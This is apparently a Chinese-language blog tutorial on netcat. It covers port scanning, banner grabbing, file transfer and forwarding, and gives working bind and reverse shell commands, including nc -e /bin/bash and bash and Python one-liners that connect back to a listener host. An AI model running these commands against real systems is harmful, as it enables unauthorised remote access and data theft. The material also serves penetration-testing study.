netcat的使用

388 阅读3分钟

netcat的使用

NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大

基于tcp/ip协议(c/s模型的)的工具.

基本使用

看一个使用场景:

20200721100413

客户端和服务器之间有防火墙, 该防火墙就会阻止客户端主动连接服务器的请求, 但是防火墙只是防止了进入流量, 而没有防止服务器出发的流量, 服务器向外连接客户端, 防火墙的过滤机制并没有过滤.

基础使用方法

创建一个tcp服务器:

# -l 表示监听 -p 指定端口
nc -l -p 8080

创建一个客户端:

# nc [remote_addr] [remote_port]
nc localhost 8080

aaa # 发送的数据

这里仅实现了一个简单的通信系统, 并不能对机器进行命令执行

返回shell使用

创建服务端:

# -e 执行给定的命令
nc -l -p 8080 -e /bin/bash

创建一个客户端:

nc localhost 8080

ls # 在客户端中就可以执行shell命令, 就像在服务器端一样

反向shell

创建服务端:

nc -l -p 8080

ls # 在服务端执行shell命令, 操作客户端

创建一个客户端:

nc localhost 8080  -e /bin/bash


文件传输

使用场景

当目标机器上有一些文件内容, 无法正常下载时, 可以利用nc进行文件传输, 绕过这些限制.

nc中的数据传输使用的标准的输入 输出流, 所以可以直接利用命令行来进行操作.

创建服务端:

# 服务器端接受文件, 当收到文件后, 服务器端自动关闭
nc -l -p 8080  > outfile

创建一个客户端:

nc localhost 8080 < infile

如果此时服务器端并没有准备好连接, 而客户端已经使用nc进行连接, 那么客户端会一直等待.

我们可以设置等待时间:

nc -w3 [ip] [port] 设置等待3s

信息探测

使用场景:

  1. 目标内网的扫描

可以使用netcat进行内网ip和端口的扫描

  1. 单独对某个目标进行端口探测

  2. 对目标的服务banner进行抓取

端口扫描使用方法

nc -v -n -z -w  1  172.17.0.3 1-1000
# nc -v -n -z -w  1 [target_ip] [start_target_port-stop_target_port]

# -v 表示对错误进行详细输出
# -n 不对目标机器进行DNS解析
# -z zero I/O模式, 专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload, 这样做可以加快扫描的速度
# -w 1 超时设置为1秒

也可以指定某一个端口

获取banner信息

端口的banner信息:

显示欢迎信息,比如:Welcome to earth. 除了欢迎,大致还可能表明端口的身份

# 注意没有-z 
# 发送一个空字符串
# 当然, 有些有banner信息, 有些没有
echo ' ' |  nc -v -n  -w  1  172.17.0.3 1-1000

命令参数

-d 后台运行, 常用于后门建立过程 -e 执行某个程序, 常用于后门建立过程 -G 设置网关, 常用于突破内网限制 -g num 路由跳数 -i sec 设置发送每一行数据的时间间隔 -l 监听 -L 监听 当客户端断开, 服务端依旧回到监听状态 -n 设置netcat只识别ip地址, 不进行DNS解析 -o file 设置传输16进制的数据 -p 端口号 -r 设置随机监听端口 -s addr 设置netcat源地址, 用于隐藏自己 -t 回复telnet的请求数据包 -u 设置netcat使用UDP模式 -v 现在错误信息 -w secs 超时 -z 数据包不发送payload

连接转发

20200721144054

如图1不能直接访问3, 但是1可以访问2, 2可以访问3, 如果1要访问3, 就需要通过2来做转发; 比如2,3在一个局域网中.

假设3的ip为192.168.0.3, 有个端口为8080的tcp服务.

在2上运行:

echo nc 192.168.0.3 8080 >  forward # 生成脚本文件
nc -l -p 8090 -e "/bin/bash ./forward" # 每次连接运行forward

在1上连接:

nc [2的ip] 8090

反弹shell(bash)

使用场景:

拿到服务器的权限后, 客户想运行shell命令在服务端执行(就像基本使用 > 返回shell使用中的一样), 但是服务器没有办法安装nc.

在服务端执行:

# bash -i >& /dev/tcp/ip/port 0>&1
# ip和port是客户端的ip和起的nc服务的端口
bash -i > /dev/tcp/192.168.0.2/8080 0>&1 2>&1

在客户端执行:

nc -lvp 8080
ls # 执行shell命令, 就相当与在服务端执行

命令解释

bash -i > /dev/tcp/ip/port 0>&1 2>&1

20200722144400

> /dev/tcp/ip/port0> /dev/tcp/ip/port的简写, 文件描述符标准输入指向文件/dev/tcp/ip/port

Shell 输入/输出重定向 Linux反弹shell(一)文件描述符与重定向 Linux 反弹shell(二)反弹shell的本质

反弹shell(python)

利用python来反弹shell

服务端:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.2",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

格式化后的python代码:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.2",8080))
# 重定向文件描述符
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
# 子进程运行/bin/bash -i, 应该子进程会继承父进程的文件描述符, 所以子进程中文件描述符是修改之后的
p=subprocess.call(["/bin/bash","-i"])

客户端:

nc -lvp 8080
ls # 执行shell命令, 就相当与在服务端执行

反弹shell(bash)思路一模一样, 只是用python代码来实现.